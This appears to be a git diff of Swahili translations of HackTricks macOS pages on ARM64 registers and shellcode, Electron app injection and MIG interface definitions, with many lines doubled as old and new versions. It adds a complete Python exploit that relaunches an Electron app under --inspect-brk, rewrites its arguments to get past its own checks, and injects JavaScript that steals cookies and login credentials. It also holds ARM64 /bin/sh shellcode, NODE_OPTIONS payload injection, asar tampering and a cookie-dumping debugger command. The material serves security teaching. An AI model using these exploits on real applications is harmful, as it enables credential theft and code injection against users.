Zaidi ya hayo, register zinaungwa mkono katika **`banked registries`**. Ambazo ni maeneo yanayohifadhi thamani za register kuruhusu kufanya **fast context switching** katika usimamizi wa makosa na operesheni zenye mamlaka ili kuepuka hitaji la kuhifadhi na kurejesha register kwa mikono kila wakati.\
Hii inafanywa kwa **kuhifadhi hali ya processor kutoka `CPSR` hadi `SPSR`** ya hali ya processor ambayo kosa limechukuliwa. Wakati kosa linaporudi, **`CPSR`** inarejeshwa kutoka **`SPSR`**.
Zaidi ya hayo, register zinaungwa mkono katika **`banked registries`**. Ambazo ni maeneo yanayohifadhi thamani za register kuruhusu kufanya **fast context switching** katika usimamizi wa makosa na operesheni za kibali ili kuepuka hitaji la kuhifadhi na kurejesha register kwa mikono kila wakati.\
Hii inafanywa kwa **kuhifadhi hali ya processor kutoka `CPSR` hadi `SPSR`** ya hali ya processor ambayo makosa yanachukuliwa. Wakati makosa yanarejea, **`CPSR`** inarejeshwa kutoka **`SPSR`**.
### CPSR - Current Program Status Register
Katika AArch32 CPSR inafanya kazi kama **`PSTATE`** katika AArch64 na pia inahifadhiwa katika **`SPSR_ELx`** wakati kosa linachukuliwa ili kurejesha utekelezaji baadaye:
Katika AArch32 CPSR inafanya kazi kama **`PSTATE`** katika AArch64 na pia inahifadhiwa katika **`SPSR_ELx`** wakati makosa yanachukuliwa ili kurejesha utekelezaji baadaye:
<figure><img src="../../../images/image (1197).png" alt=""><figcaption></figcaption></figure>
@ -289,19 +289,19 @@ Sehemu zimegawanywa katika makundi kadhaa:
#### Application Program Status Register (APSR)
- Bendera **`N`**, **`Z`**, **`C`**, **`V`** (kama ilivyo katika AArch64)
- Bendera **`Q`**: Inapangwa kuwa 1 kila wakati **saturation ya integer inapotokea** wakati wa utekelezaji wa amri maalum ya hesabu inayoshikilia. Mara inapowekwa kuwa **`1`**, itahifadhi thamani hiyo hadi iwekwe kwa mikono kuwa 0. Zaidi ya hayo, hakuna amri inayokagua thamani yake kwa njia isiyo ya moja kwa moja, inapaswa kufanywa kwa kusoma kwa mikono.
- Bendera **`Q`**: Inapangwa kuwa 1 kila wakati **saturation ya integer inapotokea** wakati wa utekelezaji wa amri maalum ya hesabu ya saturation. Mara inapowekwa kuwa **`1`**, itahifadhi thamani hiyo hadi iwekwe kwa mikono kuwa 0. Zaidi ya hayo, hakuna amri inayokagua thamani yake kwa njia isiyo ya moja kwa moja, inapaswa kufanywa kwa kusoma kwa mikono.
- Bendera **`GE`** (Kubwa kuliko au sawa): Inatumika katika operesheni za SIMD (Single Instruction, Multiple Data), kama vile "kuongeza kwa pamoja" na "kupunguza kwa pamoja". Operesheni hizi zinaruhusu kusindika vidokezo vingi vya data katika amri moja.
Kwa mfano, amri **`UADD8`** **inaongeza jozi nne za bytes** (kutoka kwa operandi mbili za 32-bit) kwa pamoja na kuhifadhi matokeo katika register ya 32-bit. Kisha **inaweka bendera `GE` katika `APSR`** kulingana na matokeo haya. Kila bendera ya GE inahusiana na moja ya nyongeza za byte, ikionyesha ikiwa nyongeza ya jozi hiyo ya byte **ilivuka mipaka**.
Kwa mfano, amri **`UADD8`** **inaongeza jozi nne za bytes** (kutoka kwa operandi mbili za 32-bit) kwa pamoja na kuhifadhi matokeo katika register ya 32-bit. Kisha **inaweka bendera za `GE` katika `APSR`** kulingana na matokeo haya. Kila bendera ya GE inahusiana na moja ya nyongeza za byte, ikionyesha ikiwa nyongeza ya jozi hiyo ya byte **ilivuka**.
Amri **`SEL`** inatumia bendera hizi za GE kufanya vitendo vya masharti.
#### Execution State Registers
- Bits **`J`** na **`T`**: **`J`** inapaswa kuwa 0 na ikiwa **`T`** ni 0 seti ya amri A32 inatumika, na ikiwa ni 1, T32 inatumika.
- **IT Block State Register** (`ITSTATE`): Hizi ni bits kutoka 10-15 na 25-26. Zinahifadhi hali za masharti kwa amri ndani ya kundi lililo na **`IT`**.
- **IT Block State Register** (`ITSTATE`): Hizi ni bits kutoka 10-15 na 25-26. Zinahifadhi hali za masharti kwa amri ndani ya kundi lililo na prefiksi **`IT`**.
- Bit **`E`**: Inaonyesha **endianness**.
- **Mode and Exception Mask Bits** (0-4): Zinabainisha hali ya sasa ya utekelezaji. **Ya 5** inaonyesha ikiwa programu inafanya kazi kama 32bit (1) au 64bit (0). Nyingine 4 zinaonyesha **hali ya kosa inayotumika sasa** (wakati kosa linapotokea na linashughulikiwa). Nambari iliyowekwa **inaonyesha kipaumbele cha sasa** endapo kosa lingine litachochewa wakati huu unashughulikiwa.
- **Mode and Exception Mask Bits** (0-4): Zinabainisha hali ya sasa ya utekelezaji. **Ya 5** inaonyesha ikiwa programu inafanya kazi kama 32bit (1) au 64bit (0). Nyingine 4 zinaonyesha **hali ya makosa inayotumika sasa** (wakati makosa yanatokea na yanashughulikiwa). Nambari iliyowekwa **inaonyesha kipaumbele cha sasa** ikiwa makosa mengine yanachochewa wakati huu unashughulikiwa.
<figure><img src="../../../images/image (1200).png" alt=""><figcaption></figcaption></figure>
@ -325,10 +325,10 @@ dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Lib
# iOS
dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64
```
Kumbuka kwamba **Ida** na **Ghidra** zinaweza pia ku-decompile **dylibs maalum** kutoka kwenye cache kwa kupitisha tu cache.
Kumbuka kwamba **Ida** na **Ghidra** zinaweza pia ku-decompile **dylibs maalum** kutoka kwenye cache kwa kupitisha tu cache hiyo.
> [!TIP]
> Wakati mwingine ni rahisi kuangalia **decompiled** code kutoka **`libsystem_kernel.dylib`** **kuliko** kuangalia **source code** kwa sababu code ya syscalls kadhaa (BSD na Mach) inazalishwa kupitia scripts (angalia maoni katika source code) wakati katika dylib unaweza kupata kile kinachoitwa.
> Wakati mwingine ni rahisi kuangalia **code iliyodecompiled** kutoka **`libsystem_kernel.dylib`** **kuliko** kuangalia **source code** kwa sababu code ya syscalls kadhaa (BSD na Mach) inazalishwa kupitia scripts (angalia maoni katika source code) wakati katika dylib unaweza kupata kile kinachoitwa.
### machdep calls
@ -336,7 +336,7 @@ XNU inasaidia aina nyingine ya calls inayoitwa machine dependent. Nambari za cal
### comm page
Hii ni ukurasa wa kumbukumbu wa mmiliki wa kernel ambao umewekwa kwenye anwani ya kila mchakato wa mtumiaji. Imepangwa kufanya mpito kutoka kwa hali ya mtumiaji hadi nafasi ya kernel kuwa haraka kuliko kutumia syscalls kwa huduma za kernel ambazo zinatumika sana kwamba mpito huu ungekuwa usio na ufanisi.
Hii ni ukurasa wa kumbukumbu ya mmiliki wa kernel ambao umewekwa kwenye anwani ya kila mchakato wa mtumiaji. Imepangwa kufanya mpito kutoka kwa hali ya mtumiaji hadi nafasi ya kernel kuwa haraka kuliko kutumia syscalls kwa huduma za kernel ambazo zinatumika sana kiasi kwamba mpito huu ungekuwa usio na ufanisi.
Kwa mfano, wito wa `gettimeofdate` unasoma thamani ya `timeval` moja kwa moja kutoka kwenye comm page.
@ -347,10 +347,10 @@ Ni kawaida sana kupata kazi hii ikitumika katika programu za Objective-C au Swif
Parameta ([maelezo zaidi katika docs](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)):
- x0: self -> Pointer kwa mfano
- x1: op -> Mchaguo wa njia
- x1: op -> Mchoro wa njia
- x2... -> Mabaki ya hoja za njia iliyoitwa
Hivyo, ikiwa utaweka breakpoint kabla ya tawi la kazi hii, unaweza kwa urahisi kupata kile kinachoitwa katika lldb (katika mfano huu, kitu kinaita kitu kutoka `NSConcreteTask` ambacho kitakimbia amri):
Hivyo, ikiwa utaweka breakpoint kabla ya tawi la kazi hii, unaweza kwa urahisi kupata kile kinachoitwa katika lldb (katika mfano huu, kitu kinaita kitu kutoka `NSConcreteTask` ambacho kitakimbiza amri):
```bash
# Right in the line were objc_msgSend will be called
(lldb) po $x0
@ -378,15 +378,15 @@ Wakati kazi hii inaitwa, inahitajika kupata njia iliyoitwa ya mfano ulioonyeshwa
- Fanya utafutaji wa cache wa matumaini:
- Ikiwa ni mafanikio, imekamilika
- Pata runtimeLock (kusoma)
- Ikiwa (realize && !cls->realized) realize darasa
- Ikiwa (initialize && !cls->initialized) initialize darasa
- Ikiwa (realize && !cls->realized) realize class
- Ikiwa (initialize && !cls->initialized) initialize class
- Jaribu cache ya darasa lenyewe:
- Ikiwa ni mafanikio, imekamilika
- Jaribu orodha ya mbinu za darasa:
- Ikiwa imepatikana, jaza cache na umalize
- Jaribu cache ya darasa la juu:
- Jaribu cache ya darasa la mzazi:
- Ikiwa ni mafanikio, imekamilika
- Jaribu orodha ya mbinu za darasa la juu:
- Jaribu orodha ya mbinu za darasa la mzazi:
- Ikiwa imepatikana, jaza cache na umalize
- Ikiwa (resolver) jaribu mtafutaji wa mbinu, na rudia kutoka utafutaji wa darasa
- Ikiwa bado hapa (= kila kitu kingine kimefeli) jaribu forwarder
@ -487,7 +487,7 @@ sh_path: .asciz "/bin/sh"
```
{{#endtab}}
{{#tab name="na stack"}}
{{#tab name="with stack"}}
```armasm
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
@ -518,7 +518,7 @@ svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter,
```
{{#endtab}}
{{#tab name="na adr kwa linux"}}
{{#tab name="with adr for linux"}}
```armasm
; From https://8ksec.io/arm64-reversing-and-exploitation-part-5-writing-shellcode-8ksec-blogs/
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
@ -539,7 +539,7 @@ sh_path: .asciz "/bin/sh"
#### Soma na cat
Lengo ni kutekeleza `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, hivyo hoja ya pili (x1) ni array ya params (ambayo katika kumbukumbu inamaanisha stack ya anwani).
Lengo ni kutekeleza `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, hivyo hoja ya pili (x1) ni array ya param (ambayo katika kumbukumbu inamaanisha stack ya anwani).
```armasm
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main

View File

@ -4,20 +4,20 @@
## Basic Information
Ikiwa hujui ni nini Electron, unaweza kupata [**habari nyingi hapa**](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/electron-desktop-apps/index.html#rce-xss--contextisolation). Lakini kwa sasa jua tu kwamba Electron inafanya kazi na **node**.\
Na node ina **parameta** na **env variables** ambazo zinaweza kutumika **kufanya itekeleze nambari nyingine** mbali na faili iliyoonyeshwa.
Ikiwa hujui ni nini Electron, unaweza kupata [**habari nyingi hapa**](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/electron-desktop-apps/index.html#rce-xss--contextisolation). Lakini kwa sasa jua tu kwamba Electron inatumia **node**.\
Na node ina **parameta** na **mabadiliko ya mazingira** ambayo yanaweza kutumika **kufanya itekeleze msimbo mwingine** mbali na faili iliyoonyeshwa.
### Electron Fuses
Mbinu hizi zitaongelewa baadaye, lakini katika nyakati za hivi karibuni Electron imeongeza **bendera za usalama** kadhaa ili kuzuia hizo. Hizi ni [**Electron Fuses**](https://www.electronjs.org/docs/latest/tutorial/fuses) na hizi ndizo zinazotumika **kuzuia** programu za Electron katika macOS **kuchukua nambari zisizo za kawaida**:
Mbinu hizi zitaongelewa baadaye, lakini katika nyakati za hivi karibuni Electron imeongeza **bendera za usalama kuzuia hizo**. Hizi ni [**Electron Fuses**](https://www.electronjs.org/docs/latest/tutorial/fuses) na hizi ndizo zinazotumika **kuzuia** programu za Electron katika macOS **kudhani msimbo usio na mpangilio**:
- **`RunAsNode`**: Ikiwa imezimwa, inazuia matumizi ya env var **`ELECTRON_RUN_AS_NODE`** kuingiza nambari.
- **`EnableNodeCliInspectArguments`**: Ikiwa imezimwa, parameta kama `--inspect`, `--inspect-brk` hazitazingatiwa. Inakwepa njia hii ya kuingiza nambari.
- **`EnableEmbeddedAsarIntegrityValidation`**: Ikiwa imewezeshwa, **faili** ya **`asar`** itathibitishwa na macOS. **Ikizuia** njia hii **kuingiza nambari** kwa kubadilisha maudhui ya faili hii.
- **`OnlyLoadAppFromAsar`**: Ikiwa hii imewezeshwa, badala ya kutafuta kupakia kwa mpangilio ufuatao: **`app.asar`**, **`app`** na hatimaye **`default_app.asar`**. Itakagua na kutumia tu app.asar, hivyo kuhakikisha kwamba wakati **imeunganishwa** na **`embeddedAsarIntegrityValidation`** fuse haiwezekani **kuchukua nambari zisizo thibitishwa**.
- **`LoadBrowserProcessSpecificV8Snapshot`**: Ikiwa imewezeshwa, mchakato wa kivinjari hutumia faili inayoitwa `browser_v8_context_snapshot.bin` kwa ajili ya snapshot yake ya V8.
- **`RunAsNode`**: Ikiwa imezimwa, inazuia matumizi ya mabadiliko ya mazingira **`ELECTRON_RUN_AS_NODE`** kuingiza msimbo.
- **`EnableNodeCliInspectArguments`**: Ikiwa imezimwa, parameta kama `--inspect`, `--inspect-brk` hazitazingatiwa. Kuepusha njia hii ya kuingiza msimbo.
- **`EnableEmbeddedAsarIntegrityValidation`**: Ikiwa imewezeshwa, **faili** ya **`asar`** itathibitishwa na macOS. **Kuzuia** njia hii **kuingizwa kwa msimbo** kwa kubadilisha maudhui ya faili hii.
- **`OnlyLoadAppFromAsar`**: Ikiwa hii imewezeshwa, badala ya kutafuta kupakia kwa mpangilio ufuatao: **`app.asar`**, **`app`** na hatimaye **`default_app.asar`**. Itakagua tu na kutumia app.asar, hivyo kuhakikisha kwamba wakati **imeunganishwa** na **`embeddedAsarIntegrityValidation`** fuse haiwezekani **kudhani msimbo usio na uthibitisho**.
- **`LoadBrowserProcessSpecificV8Snapshot`**: Ikiwa imewezeshwa, mchakato wa kivinjari unatumia faili inayoitwa `browser_v8_context_snapshot.bin` kwa ajili ya snapshot yake ya V8.
Fuse nyingine ya kuvutia ambayo haitazuia kuingiza nambari ni:
Fuse nyingine ya kuvutia ambayo haitazuia kuingizwa kwa msimbo ni:
- **EnableCookieEncryption**: Ikiwa imewezeshwa, duka la kuki kwenye diski linakuwa limefichwa kwa kutumia funguo za cryptography za kiwango cha OS.
@ -50,11 +50,11 @@ Unaweza kupakia faili hii katika [https://hexed.it/](https://hexed.it/) na kutaf
<figure><img src="../../../images/image (34).png" alt=""><figcaption></figcaption></figure>
Kumbuka kwamba ukijaribu **kuandika upya** **`Electron Framework` binary** ndani ya programu kwa bytes hizi zilizobadilishwa, programu hiyo haitafanya kazi.
Kumbuka kwamba ukijaribu **kuandika upya** **`Electron Framework`** binary ndani ya programu na hizi bytes zimebadilishwa, programu hiyo haitafanya kazi.
## RCE kuongeza msimbo kwenye Programu za Electron
Kunaweza kuwa na **faili za nje za JS/HTML** ambazo Programu ya Electron inatumia, hivyo mshambuliaji anaweza kuingiza msimbo katika faili hizi ambazo saini yake haitakaguliwa na kutekeleza msimbo wa kiholela katika muktadha wa programu.
Kunaweza kuwa na **faili za nje za JS/HTML** ambazo Programu ya Electron inatumia, hivyo mshambuliaji anaweza kuingiza msimbo katika faili hizi ambao saini yake haitakaguliwa na kutekeleza msimbo wa kiholela katika muktadha wa programu.
> [!CAUTION]
> Hata hivyo, kwa sasa kuna vizuizi 2:
@ -64,19 +64,19 @@ Kunaweza kuwa na **faili za nje za JS/HTML** ambazo Programu ya Electron inatumi
>
> Hii inafanya njia hii ya shambulio kuwa ngumu zaidi (au haiwezekani).
Kumbuka kwamba inawezekana kupita hitaji la **`kTCCServiceSystemPolicyAppBundles`** kwa kunakili programu hiyo kwenye saraka nyingine (kama **`/tmp`**), kubadilisha jina la folda **`app.app/Contents`** kuwa **`app.app/NotCon`**, **kubadilisha** faili la **asar** kwa msimbo wako **mbaya**, kubadilisha jina lake kurudi kuwa **`app.app/Contents`** na kuitekeleza.
Kumbuka kwamba inawezekana kupita hitaji la **`kTCCServiceSystemPolicyAppBundles`** kwa kunakili programu hiyo kwenye directory nyingine (kama **`/tmp`**), kubadilisha jina la folda **`app.app/Contents`** kuwa **`app.app/NotCon`**, **kubadilisha** faili la **asar** na msimbo wako **mbaya**, kubadilisha jina lake tena kuwa **`app.app/Contents`** na kuitekeleza.
Unaweza kufungua msimbo kutoka kwa faili la asar kwa:
```bash
npx asar extract app.asar app-decomp
```
Na uifunge tena baada ya kuibadilisha kwa:
Na uifunge tena baada ya kuibadilisha na:
```bash
npx asar pack app-decomp app-new.asar
```
## RCE na `ELECTRON_RUN_AS_NODE` <a href="#electron_run_as_node" id="electron_run_as_node"></a>
## RCE na ELECTRON_RUN_AS_NODE
Kulingana na [**nyaraka**](https://www.electronjs.org/docs/latest/api/environment-variables#electron_run_as_node), ikiwa hii env variable imewekwa, itaanzisha mchakato kama mchakato wa kawaida wa Node.js.
Kulingana na [**nyaraka**](https://www.electronjs.org/docs/latest/api/environment-variables#electron_run_as_node), ikiwa hii variable ya mazingira imewekwa, itaanzisha mchakato kama mchakato wa kawaida wa Node.js.
```bash
# Run this
ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
@ -84,7 +84,7 @@ ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
```
> [!CAUTION]
> Ikiwa fuse **`RunAsNode`** imezimwa, mabadiliko ya env **`ELECTRON_RUN_AS_NODE`** yataachwa bila kutumika, na hii haitafanya kazi.
> Ikiwa fuse **`RunAsNode`** imezimwa, mabadiliko ya env **`ELECTRON_RUN_AS_NODE`** yataachwa, na hii haitafanya kazi.
### Uingizaji kutoka kwa App Plist
@ -123,7 +123,7 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
```
> [!CAUTION]
> Ikiwa fuse **`EnableNodeOptionsEnvironmentVariable`** ime **zimwa**, programu itakuwa **ipuuze** env var **NODE_OPTIONS** inapozinduliwa isipokuwa env variable **`ELECTRON_RUN_AS_NODE`** imewekwa, ambayo pia itapuuziliwa mbali ikiwa fuse **`RunAsNode`** imezimwa.
> Ikiwa fuse **`EnableNodeOptionsEnvironmentVariable`** ime **zimwa**, app itakuwa **ipuuze** env var **NODE_OPTIONS** inapozinduliwa isipokuwa env variable **`ELECTRON_RUN_AS_NODE`** imewekwa, ambayo pia itapuuziliwa mbali ikiwa fuse **`RunAsNode`** imezimwa.
>
> Ikiwa hujaweka **`ELECTRON_RUN_AS_NODE`**, utaona **kosa**: `Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.`
@ -154,6 +154,214 @@ Kwa mfano:
# Connect to it using chrome://inspect and execute a calculator with:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
```
Katika [**hiki blogu**](https://hackerone.com/reports/1274695), ufuatiliaji huu unatumika vibaya ili kufanya chrome isiyo na kichwa **ipakue faili zisizo na mpangilio katika maeneo yasiyo na mpangilio**.
> [!TIP]
> Ikiwa programu ina njia yake ya kawaida ya kuangalia ikiwa mabadiliko ya mazingira au vigezo kama `--inspect` vimewekwa, unaweza kujaribu **kuyapita** katika wakati wa utekelezaji kwa kutumia arg `--inspect-brk` ambayo it **isimamishe utekelezaji** mwanzoni mwa programu na kutekeleza bypass (kuandika upya vigezo au mabadiliko ya mazingira ya mchakato wa sasa kwa mfano).
Ifuatayo ilikuwa exploit ambayo kwa kufuatilia na kutekeleza programu na param `--inspect-brk` ilikuwa inawezekana kuyapita ulinzi wa kawaida iliyo nayo (kuandika upya vigezo vya mchakato ili kuondoa `--inspect-brk`) na kisha kuingiza payload ya JS ili kutupa vidakuzi na akidi kutoka kwa programu:
```python
import asyncio
import websockets
import json
import requests
import os
import psutil
from time import sleep
INSPECT_URL = None
CONT = 0
CONTEXT_ID = None
NAME = None
UNIQUE_ID = None
JS_PAYLOADS = """
var { webContents } = require('electron');
var fs = require('fs');
var wc = webContents.getAllWebContents()[0]
function writeToFile(filePath, content) {
const data = typeof content === 'string' ? content : JSON.stringify(content, null, 2);
fs.writeFile(filePath, data, (err) => {
if (err) {
console.error(`Error writing to file ${filePath}:`, err);
} else {
console.log(`File written successfully at ${filePath}`);
}
});
}
function get_cookies() {
intervalIdCookies = setInterval(() => {
console.log("Checking cookies...");
wc.session.cookies.get({})
.then((cookies) => {
tokenCookie = cookies.find(cookie => cookie.name === "token");
if (tokenCookie){
writeToFile("/tmp/cookies.txt", cookies);
clearInterval(intervalIdCookies);
wc.executeJavaScript(`alert("Cookies stolen and written to /tmp/cookies.txt")`);
}
})
}, 1000);
}
function get_creds() {
in_location = false;
intervalIdCreds = setInterval(() => {
if (wc.mainFrame.url.includes("https://www.victim.com/account/login")) {
in_location = true;
console.log("Injecting creds logger...");
wc.executeJavaScript(`
(function() {
email = document.getElementById('login_email_id');
password = document.getElementById('login_password_id');
if (password && email) {
return email.value+":"+password.value;
}
})();
`).then(result => {
writeToFile("/tmp/victim_credentials.txt", result);
})
}
else if (in_location) {
wc.executeJavaScript(`alert("Creds stolen and written to /tmp/victim_credentials.txt")`);
clearInterval(intervalIdCreds);
}
}, 10); // Check every 10ms
setTimeout(() => clearInterval(intervalId), 20000); // Stop after 20 seconds
}
get_cookies();
get_creds();
console.log("Payloads injected");
"""
async def get_debugger_url():
"""
Fetch the local inspector's WebSocket URL from the JSON endpoint.
Assumes there's exactly one debug target.
"""
global INSPECT_URL
url = "http://127.0.0.1:9229/json"
response = requests.get(url)
data = response.json()
if not data:
raise RuntimeError("No debug targets found on port 9229.")
# data[0] should contain an object with "webSocketDebuggerUrl"
ws_url = data[0].get("webSocketDebuggerUrl")
if not ws_url:
raise RuntimeError("webSocketDebuggerUrl not found in inspector data.")
INSPECT_URL = ws_url
async def monitor_victim():
print("Monitoring victim process...")
found = False
while not found:
sleep(1) # Check every second
for process in psutil.process_iter(attrs=['pid', 'name']):
try:
# Check if the process name contains "victim"
if process.info['name'] and 'victim' in process.info['name']:
found = True
print(f"Found victim process (PID: {process.info['pid']}). Terminating...")
os.kill(process.info['pid'], 9) # Force kill the process
except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess):
# Handle processes that might have terminated or are inaccessible
pass
os.system("open /Applications/victim.app --args --inspect-brk")
async def bypass_protections():
global CONTEXT_ID, NAME, UNIQUE_ID
print(f"Connecting to {INSPECT_URL} ...")
async with websockets.connect(INSPECT_URL) as ws:
data = await send_cmd(ws, "Runtime.enable", get_first=True)
CONTEXT_ID = data["params"]["context"]["id"]
NAME = data["params"]["context"]["name"]
UNIQUE_ID = data["params"]["context"]["uniqueId"]
sleep(1)
await send_cmd(ws, "Debugger.enable", {"maxScriptsCacheSize": 10000000})
await send_cmd(ws, "Profiler.enable")
await send_cmd(ws, "Debugger.setBlackboxPatterns", {"patterns": ["/node_modules/|/browser_components/"], "skipAnonnymous": False})
await send_cmd(ws, "Runtime.runIfWaitingForDebugger")
await send_cmd(ws, "Runtime.executionContextCreated", get_first=False, params={"context": {"id": CONTEXT_ID, "origin": "", "name": NAME, "uniqueId": UNIQUE_ID, "auxData": {"isDefault": True}}})
code_to_inject = """process['argv'] = ['/Applications/victim.app/Contents/MacOS/victim']"""
await send_cmd(ws, "Runtime.evaluate", get_first=False, params={"expression": code_to_inject, "uniqueContextId":UNIQUE_ID})
print("Injected code to bypass protections")
async def js_payloads():
global CONT, CONTEXT_ID, NAME, UNIQUE_ID
print(f"Connecting to {INSPECT_URL} ...")
async with websockets.connect(INSPECT_URL) as ws:
data = await send_cmd(ws, "Runtime.enable", get_first=True)
CONTEXT_ID = data["params"]["context"]["id"]
NAME = data["params"]["context"]["name"]
UNIQUE_ID = data["params"]["context"]["uniqueId"]
await send_cmd(ws, "Runtime.compileScript", get_first=False, params={"expression":JS_PAYLOADS,"sourceURL":"","persistScript":False,"executionContextId":1})
await send_cmd(ws, "Runtime.evaluate", get_first=False, params={"expression":JS_PAYLOADS,"objectGroup":"console","includeCommandLineAPI":True,"silent":False,"returnByValue":False,"generatePreview":True,"userGesture":False,"awaitPromise":False,"replMode":True,"allowUnsafeEvalBlockedByCSP":True,"uniqueContextId":UNIQUE_ID})
async def main():
await monitor_victim()
sleep(3)
await get_debugger_url()
await bypass_protections()
sleep(7)
await js_payloads()
async def send_cmd(ws, method, get_first=False, params={}):
"""
Send a command to the inspector and read until we get a response with matching "id".
"""
global CONT
CONT += 1
# Send the command
await ws.send(json.dumps({"id": CONT, "method": method, "params": params}))
sleep(0.4)
# Read messages until we get our command result
while True:
response = await ws.recv()
data = json.loads(response)
# Print for debugging
print(f"[{method} / {CONT}] ->", data)
if get_first:
return data
# If this message is a response to our command (by matching "id"), break
if data.get("id") == CONT:
return data
# Otherwise it's an event or unrelated message; keep reading
if __name__ == "__main__":
asyncio.run(main())
```
> [!CAUTION]
> Ikiwa fuse **`EnableNodeCliInspectArguments`** imezimwa, programu itakuwa **ikiweka kando vigezo vya node** (kama `--inspect`) inapozinduliwa isipokuwa variable ya env **`ELECTRON_RUN_AS_NODE`** imewekwa, ambayo pia itakuwa **ikiwekwa kando** ikiwa fuse **`RunAsNode`** imezimwa.
>
@ -169,11 +377,9 @@ ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00",
ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
print(ws.recv()
```
Katika [**hiki blogu**](https://hackerone.com/reports/1274695), urekebishaji huu unatumika vibaya kufanya chrome isiyo na kichwa **ipakue faili zisizo na mpangilio katika maeneo yasiyo na mpangilio**.
### Injection from the App Plist
### Uingizaji kutoka kwa App Plist
Unaweza kutumia vibaya hii env variable katika plist ili kudumisha uvumilivu kwa kuongeza funguo hizi:
Unaweza kutumia hii env variable katika plist ili kudumisha uvumilivu kwa kuongeza funguo hizi:
```xml
<dict>
<key>ProgramArguments</key>
@ -199,9 +405,11 @@ Hivyo, ikiwa unataka kutumia haki za kuingia ili kufikia kamera au kipaza sauti
## Automatic Injection
Zana [**electroniz3r**](https://github.com/r3ggi/electroniz3r) inaweza kutumika kwa urahisi ili **kupata programu za electron zenye udhaifu** zilizowekwa na kuingiza msimbo ndani yao. Zana hii itajaribu kutumia mbinu ya **`--inspect`**:
- [**electroniz3r**](https://github.com/r3ggi/electroniz3r)
Unahitaji kuikamilisha mwenyewe na unaweza kuitumia kama hii:
Chombo [**electroniz3r**](https://github.com/r3ggi/electroniz3r) kinaweza kutumika kwa urahisi ili **kupata programu za electron zenye udhaifu** zilizowekwa na kuingiza msimbo ndani yao. Chombo hiki kitajaribu kutumia mbinu ya **`--inspect`**:
Unahitaji kukiunda mwenyewe na unaweza kuitumia kama hii:
```bash
# Find electron apps
./electroniz3r list-apps
@ -237,7 +445,12 @@ You can now kill the app using `kill -9 57739`
The webSocketDebuggerUrl is: ws://127.0.0.1:13337/8e0410f0-00e8-4e0e-92e4-58984daf37e5
Shell binding requested. Check `nc 127.0.0.1 12345`
```
## Marejeo
- [https://github.com/boku7/Loki](https://github.com/boku7/Loki)
Loki ilitengenezwa ili kuingilia programu za Electron kwa kubadilisha faili za JavaScript za programu hizo na faili za JavaScript za Loki Command & Control.
## References
- [https://www.electronjs.org/docs/latest/tutorial/fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
- [https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks)

View File

@ -6,21 +6,21 @@
MIG iliumbwa ili **kurahisisha mchakato wa uundaji wa Mach IPC**. Kimsingi **inazalisha msimbo unaohitajika** kwa server na mteja kuwasiliana na ufafanuzi uliopewa. Hata kama msimbo uliozalishwa ni mbaya, mendelezi atahitaji tu kuingiza na msimbo wake utakuwa rahisi zaidi kuliko kabla.
Ufafanuzi umeainishwa katika Lugha ya Ufafanuzi wa Kiolesura (IDL) kwa kutumia kiambishi cha `.defs`.
Ufafanuzi umeainishwa katika Lugha ya Ufafanuzi wa Interface (IDL) kwa kutumia kiambishi cha `.defs`.
Mafafanuzi haya yana sehemu 5:
- **Tangazo la subsystem**: Neno muhimu subsystem linatumika kuashiria **jina** na **id**. Pia inawezekana kuashiria kama **`KernelServer`** ikiwa server inapaswa kukimbia katika kernel.
- **Inclusions and imports**: MIG inatumia C-preprocessor, hivyo ina uwezo wa kutumia imports. Aidha, inawezekana kutumia `uimport` na `simport` kwa msimbo ulioandikwa na mtumiaji au server.
- **Matangazo ya aina**: Inawezekana kufafanua aina za data ingawa kawaida itakuwa inafanya import ya `mach_types.defs` na `std_types.defs`. Kwa zile za kawaida baadhi ya sintaks inaweza kutumika:
- \[i`n/out]tran`: Kazi ambayo inahitaji kutafsiriwa kutoka ujumbe unaoingia au kwenda ujumbe unaotoka
- `c[user/server]type`: Mchoro kwa aina nyingine ya C.
- `destructor`: Piga simu kazi hii wakati aina inachukuliwa.
- **Injizaji na uagizaji**: MIG inatumia C-preprocessor, hivyo inaweza kutumia uagizaji. Aidha, inawezekana kutumia `uimport` na `simport` kwa msimbo ulioandikwa na mtumiaji au server.
- **Matangazo ya aina**: Inawezekana kufafanua aina za data ingawa kawaida itauagiza `mach_types.defs` na `std_types.defs`. Kwa zile za kawaida baadhi ya sintaks inaweza kutumika:
- \[i`n/out]tran`: Kazi inayohitaji kutafsiriwa kutoka ujumbe unaoingia au kwenda ujumbe unaotoka
- `c[user/server]type`: Ramani kwa aina nyingine ya C.
- `destructor`: Piga simu kwa kazi hii wakati aina inachukuliwa.
- **Operesheni**: Hizi ni ufafanuzi wa mbinu za RPC. Kuna aina 5 tofauti:
- `routine`: Inatarajia jibu
- `simpleroutine`: Haitarajii jibu
- `simpleroutine`: Haitarajia jibu
